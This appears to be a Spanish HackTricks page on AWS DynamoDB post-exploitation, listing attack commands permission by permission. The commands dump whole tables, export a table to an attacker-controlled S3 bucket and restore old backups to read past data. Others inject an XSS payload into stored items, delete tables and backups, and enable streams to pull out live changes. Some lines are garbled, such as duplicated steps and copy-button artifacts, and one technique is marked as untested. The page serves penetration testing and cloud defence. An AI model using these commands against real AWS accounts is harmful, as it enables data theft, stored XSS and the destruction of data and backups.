AWS - DynamoDB Post Exploitation

Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

DynamoDB

Para más información consulta:

pageAWS - DynamoDB Enum

dynamodb:BatchGetItem

Un atacante con estos permisos podrá obtener elementos de tablas por la clave primaria (no puedes simplemente solicitar todos los datos de la tabla). Esto significa que necesitas conocer las claves primarias (puedes obtenerlas al obtener los metadatos de la tabla (describe-table).

aws dynamodb batch-get-item --request-items file:///tmp/a.json

// With a.json
{
"ProductCatalog" : { // This is the table name
"Keys": [
{
"Id" : { // Primary keys name
"N": "205" // Value to search for, you could put here entries from 1 to 1000 to dump all those
}
}
]
}
}

Impacto potencial: Escalada de privilegios indirecta al localizar información sensible en la tabla

dynamodb:GetItem

Similar a los permisos anteriores, este permite a un posible atacante leer valores de solo 1 tabla dado la clave primaria de la entrada a recuperar:

aws dynamodb get-item --table-name ProductCatalog --key  file:///tmp/a.json

// With a.json
{
"Id" : {
"N": "205"
}
}

Con este permiso también es posible utilizar el método transact-get-items de la siguiente manera:

aws dynamodb transact-get-items \
--transact-items file:///tmp/a.json

// With a.json
[
{
"Get": {
"Key": {
"Id": {"N": "205"}
},
"TableName": "ProductCatalog"
}
}
]

Impacto potencial: Escalada indirecta de privilegios al localizar información sensible en la tabla

dynamodb:Query

Similar a los permisos anteriores, este permite a un posible atacante leer valores de solo 1 tabla dado la clave primaria de la entrada a recuperar. Permite usar un subconjunto de comparaciones, pero la única comparación permitida con la clave primaria (que debe aparecer) es "EQ", por lo que no se puede usar una comparación para obtener toda la base de datos en una solicitud.

aws dynamodb query --table-name ProductCatalog --key-conditions file:///tmp/a.json

// With a.json
{
"Id" : {
"ComparisonOperator":"EQ",
"AttributeValueList": [ {"N": "205"} ]
}
}

aws dynamodb query \
--table-name TargetTable \
--key-condition-expression "AttributeName = :value" \
--expression-attribute-values '{":value":{"S":"TargetValue"}}' \
--region <region>

Impacto potencial: Escalada indirecta de privilegios al localizar información sensible en la tabla

dynamodb:Scan

Puedes usar este permiso para volcar fácilmente toda la tabla.

aws dynamodb scan --table-name <t_name> #Get data inside the table

Impacto Potencial: Escalada de privilegios indirecta al localizar información sensible en la tabla

dynamodb:PartiQLSelect

Puedes usar este permiso para volcar fácilmente toda la tabla.

aws dynamodb execute-statement \
--statement "SELECT * FROM ProductCatalog"

Este permiso también permite realizar batch-execute-statement como:

aws dynamodb batch-execute-statement \
--statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]'

pero necesitas especificar la clave primaria con un valor, por lo que no es tan útil.

Impacto Potencial: Escalada de privilegios indirecta al localizar información sensible en la tabla

dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)

Esta permiso permitirá a un atacante exportar toda la tabla a un bucket de S3 de su elección:

aws dynamodb export-table-to-point-in-time \
--table-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable \
--s3-bucket <attacker_s3_bucket> \
--s3-prefix <optional_prefix> \
--export-time <point_in_time> \
--region <region>

Ten en cuenta que para que esto funcione, la tabla debe tener habilitada la recuperación en un momento determinado. Puedes verificar si la tabla lo tiene con:

aws dynamodb describe-continuous-backups \
--table-name <tablename>

Si no está habilitado, necesitarás habilitarlo y para eso necesitas el permiso dynamodb:ExportTableToPointInTime:

aws dynamodb update-continuous-backups \
--table-name <value> \
--point-in-time-recovery-specification PointInTimeRecoveryEnabled=true

Impacto Potencial: Escalada de privilegios indirecta al localizar información sensible en la tabla

dynamodb:CreateTable, dynamodb:RestoreTableFromBackup, (dynamodb:CreateBackup)

Con estos permisos, un atacante podría crear una nueva tabla a partir de una copia de seguridad (o incluso crear una copia de seguridad para luego restaurarla en una tabla diferente). Luego, con los permisos necesarios, podría revisar información de las copias de seguridad que ya no estaría en la tabla de producción.

aws dynamodb restore-table-from-backup \
--backup-arn <source-backup-arn> \
--target-table-name <new-table-name> \
--region <region>

Impacto potencial: Escalada de privilegios indirecta al localizar información sensible en la copia de seguridad de la tabla

dynamodb:PutItem

Esta permiso permite a los usuarios agregar un nuevo elemento a la tabla o reemplazar un elemento existente con un nuevo elemento. Si un elemento con la misma clave primaria ya existe, el elemento completo será reemplazado con el nuevo elemento. Si la clave primaria no existe, se creará un nuevo elemento con la clave primaria especificada.

## Create new item with XSS payload
aws dynamodb put-item --table <table_name> --item file://add.json
### With add.json:
{
"Id": {
"S": "1000"
},
"Name": {
"S":  "Marc"
},
"Description": {
"S": "<script>alert(1)</script>"
}
}

Impacto potencial: Explotación de vulnerabilidades/bypass adicionales al poder agregar/modificar datos en una tabla de DynamoDB

dynamodb:UpdateItem

Esta permiso permite a los usuarios modificar los atributos existentes de un ítem o agregar nuevos atributos a un ítem. No reemplaza el ítem completo; solo actualiza los atributos especificados. Si la clave primaria no existe en la tabla, la operación creará un nuevo ítem con la clave primaria especificada y establecerá los atributos especificados en la expresión de actualización.

## Update item with XSS payload
aws dynamodb update-item --table <table_name> \
--key file://key.json --update-expression "SET Description = :value" \
--expression-attribute-values file://val.json
### With key.json:
{
"Id": {
"S": "1000"
}
}
### and val.json
{
":value": {
"S": "<script>alert(1)</script>"
}
}
aws dynamodb update-item \
--table-name ExampleTable \
--key '{"Id": {"S": "1"}}' \
--update-expression "SET Attribute1 = :val1, Attribute2 = :val2" \
--expression-attribute-values '{":val1": {"S": "NewValue1"}, ":val2": {"S": "NewValue2"}}' \
--region <region>

Impacto potencial: Explotación de vulnerabilidades/bypasses adicionales al poder agregar/modificar datos en una tabla de DynamoDB

dynamodb:DeleteTable

Un atacante con este permiso puede eliminar una tabla de DynamoDB, causando pérdida de datos.

aws dynamodb delete-table \
--table-name TargetTable \
--region <region>

Impacto potencial: Pérdida de datos y interrupción de servicios que dependen de la tabla eliminada.

dynamodb:DeleteBackup

Un atacante con este permiso puede eliminar una copia de seguridad de DynamoDB, causando potencialmente la pérdida de datos en caso de un escenario de recuperación de desastres.

aws dynamodb delete-backup \
--backup-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable/backup/BACKUP_ID \
--region <region>

Impacto potencial: Pérdida de datos e incapacidad para recuperarse de una copia de seguridad durante un escenario de recuperación ante desastres.

dynamodb:StreamSpecification, dynamodb:UpdateTable, dynamodb:DescribeStream, dynamodb:GetShardIterator, dynamodb:GetRecords

TODO: Probar si esto realmente funciona

Un atacante con estos permisos puede habilitar un flujo en una tabla de DynamoDB, actualizar la tabla para comenzar a transmitir cambios y luego acceder al flujo para monitorear los cambios en la tabla en tiempo real. Esto permite al atacante monitorear y extraer cambios de datos, lo que potencialmente podría resultar en una fuga de datos.

  1. Habilitar un flujo en una tabla de DynamoDB:

bashCopy codeaws dynamodb update-table \
--table-name TargetTable \
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \
--region <region>
  1. Describe the stream to obtain the ARN and other details:

2. Describir el flujo para obtener el ARN y otros detalles:

bashCopy codeaws dynamodb describe-stream \
--table-name TargetTable \
--region <region>
  1. Obtener el iterador de fragmentos utilizando el ARN del flujo:

bashCopy codeaws dynamodbstreams get-shard-iterator \
--stream-arn <stream_arn> \
--shard-id <shard_id> \
--shard-iterator-type LATEST \
--region <region>
  1. Utiliza el iterador de fragmentos para acceder y exfiltrar datos del flujo:

bashCopy codeaws dynamodbstreams get-records \
--shard-iterator <shard_iterator> \
--region <region>

Impacto potencial: Monitoreo en tiempo real y fuga de datos de los cambios en la tabla DynamoDB.

Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Última actualización